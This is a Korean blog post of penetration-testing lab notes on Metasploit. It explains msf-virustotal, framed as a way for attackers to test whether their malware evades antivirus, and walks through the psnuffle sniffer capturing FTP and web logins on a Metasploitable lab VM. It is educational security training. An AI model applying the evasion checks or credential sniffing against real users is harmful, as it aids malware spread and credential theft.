->> 여기서 가질 수 있는 의문은 메타스플로잇에서 왜 virustotal 기능을 가지고 있는지?이다. 공격자 입장에서 메타스플로잇을 사용했을때, virustotal을 가지고 여러가지 공격 코드들을 만들어 낼 수 있다. 또한 악성 코드도 제작할 수 있다. 공격자가 만든 형태들의 실행 파일들이 혹시나 virustotal 쪽에 감지되고, 또는 백신 업체들에 많이 감지가 되었다면 공격자가 만든 악성 코드들이 개인 PC에 감염이 되더라도 감염이 되지 않을 수 있다. 그것을 미리 파악하기 위한 목적으로도 virustotal을 사용하기도 한다
->> 일반적으로 한두개 정도 감지가 되었다면 많은 사람들한테 제작한 악성 코드가 감염시킬 가능성이 높을것이다
->> 여기서 "help" 도움말을 보면 "-d" 옵션은 초당 얼마간 기다림으로서 과부하를 방지하는것이고, "-q" 옵션은 악성 코드(= .exe 파일)을 검사하고자 하는것들을 업로드를 하지 않고 그냥 기존의 Hash 파일들을 비교해서 악성코드인지, 아닌지를 판단하는것이고, "-f" 옵션은 스캔할 파일을 지정하는것이다
->> 그렇다면 미리 만들어놓은 "Sample_01.exe"을 "msf-virustotal"을 통해서 검사해본다
-> "msf-virustotal -f Sample_01.exe" - Enter
->> 출력 결과, "( 0 / 72 )" 인것을 보아, 악성 코드 파일이 아니라는것을 알 수 있다
->> 결과들이 출력될 때, 항상 동일하게 출력되지는 않는것도 주의해야한다
: 이러한 virustotal의 API 기능들을 사용해서 오픈소스들은 많이 존재한다. 하지만 칼리리눅스의 메타스플로잇에서 모듈처럼 사용할 수 있는것을 제공하기 때문에 이것을 사용해서 메타스플로잇 악성 코드를 만들고, 바이러스 여부를 검사할 때 빠르고, 편리하게 활용할 수 있다
* 메타스플로잇 스니핑 공격 모듈을 이용하여 중요 정보 확인
: 이번에는 메타스플로잇 모듈을 이용해서 스니핑 공격을 하는 실습을 진행해본다
-> 스니핑(= Sniffing)이란, "코를 킁킁거리다", "냄새를 맡다"라고 직역하는데, IT 보안쪽에서는 상대방의 패킷 정보들, 우리에게 들어오는 패킷 정보들을 가져와서 거기에 중요한 정보들이 있는지(= 계정 정보 등)와 그것을 탈취하기 목적의 중간자 공격이라고 할 수 있다
-> 사실 메타스플로잇에서 스니핑 공격이라는 모듈이 있다는 실습이 목적이지, 현재는 환경이 전부 스위치 환경이기 때문에 스니핑 공격은 허구 환경에서 브로드캐스트 방식으로 패킷을 보내는것을 모니터링을 허용한다면 그때 패킷들이 공격자에게 들어오고 거기 안에서 중요한 정보들을 골라서 보는것이다. 하지만 스위치 환경에서는 그런것들이 허용되지 않는다. 스위치 환경에서는 스니핑 공격보다는 스푸핑 공격 방식으로 진행해야한다
-> 우선은 칼리리눅스 2020년도 첫번째 버전을 기준으로 실습을 진행할 것이며, 그리고 스니핑을 당하는 시스템은 칼리리눅스 2019년도 첫번째 버전을 선택하였다
-> 첫번째로 칼리리눅스(2020)에서 메타스플로잇을 실행해본다
->> "sudo service postgresql start" - Enter (= 데이터베이스 관리자 권한으로 실행)
->> "sudo msfconsole" - Enter (= msfconsole을 관리자 권한으로 실행)
->> "use auxiliary/sniffer/psnuffle" - Enter
->> "show options" - Enter
->>> 확인 결과, 따로 설정할 옵션이 전혀 없는것을 확인할 수 있다
->>> 실행을 해보기 전에 희생자 PC에 접속하는것을 짚고 넘어간다. 희생자 PC의 환경도 마찬가지로 칼리리눅스를 사용할 것이다. 이 환경에서 Metasploitable의 FTP 서버에 접속할 것이다
->> "ftp" - Enter
->>> 명령어가 없다고 출력된다. 설치가 되어있지 않다는 의미이다. 먼저 FTP를 설치해준다
->> "apt-get install ftp" - Enter
->>> 환경이 준비되었으며, 이제 Metasploitable 버전 2에 접속해본다. 공격자에서 스니핑을 실행해준다
->> "run" - Enter
->>> 화면에서 확인할 수 있듯이, "FTP", "IMAP", "POP3", "SMB", "URL"정보 프로토콜을 로드해서 모니터링을 진행중이다 (강의에서는 vmware workstation 상에서는 스니핑 모니터링 패킷들을 교환하고 있기 때문에 별도의 설정 없이 스니핑 테스트가 가능하다)
->>> 희생자 환경의 칼리리눅스에서 Metasploitable의 IP로 FTP 접속을 실행해본다
->> "ftp <Metasploitable IP>" - Enter
->>> 접속할 ID, PW를 입력하라고 출력된다
->>> 로그인 전까지는 스니핑 모니터링에는 아무런 변화가 없다. 접속을 마저 진행해본다
->> "msfadmin" - Enter (= ID)
->> "msfadmin" - Enter (= PW)
->>> 로그인이 성공한 것을 확인할 수 있다. 다시 공격자 PC(= 스니핑 모니터링)으로 돌아와본다
->>> 스니핑이 된것을 확인할 수 있다. 위에서 말했던 관련된 프로토콜들이 발생시킬때 그에 관한것을 캡처하는 것이다
->>> "Successful FTP Login: ..." 문구를 확인할 수 있는데, 로그인에 관한 정보를 확인할 수 있다
-> 다음으로 HTTP로 접속하는것도 캡처를 하는지를 테스트해본다
->>> 파이어폭스 브라우저를 열어서 주소창에 Metasploitable IP를 입력해준다. 그리고 DVWA에서 로그인을 진행해준다
->> "<Metasploitable IP>" - Enter
->> "admin" - Enter (= ID)
->> "password" - Enter (= PW)
->>> 공격자 PC인 칼리리눅스로 넘어와서 모니터링을 확인해보면 HTTP로 로그인 과정을 캡처하는것을 확인할 수 있다
: 이러한 방식으로 스니핑 공격이란것은 공격자 자신에게 희생자가 보내는 패킷을 가져오는 행위인 것이다. 메타스플로잇은 그 안에서 관련된 프로토콜만을 골라서 가져오는 역할인 것이다
-> 실무 같은경우에는 스니핑 공격은 허용되지 않는다. ARP Spoofing을 이용해서 스위치 환경에서 진행하는것들은 몇개가 존재한다. 하지만 그것조차도 진행할 때, ARP Spoofing의 경우에 서로 패킷을 전달되는 부분들을 서로 속이게 되는데, 그러다 보면 직접적으로 네트워크에 심한 영향을 줄 수 있기 때문에 조심해야하는 부분들이 존재한다
'모의해킹 > metasploit(초급)' 카테고리의 다른 글
Metasploit (MSF Console) (0) | 2021.08.25 |
---|---|
MSF 살펴보기 - 초급 과정:: MSF 이해 및 활용법 (0) | 2021.08.05 |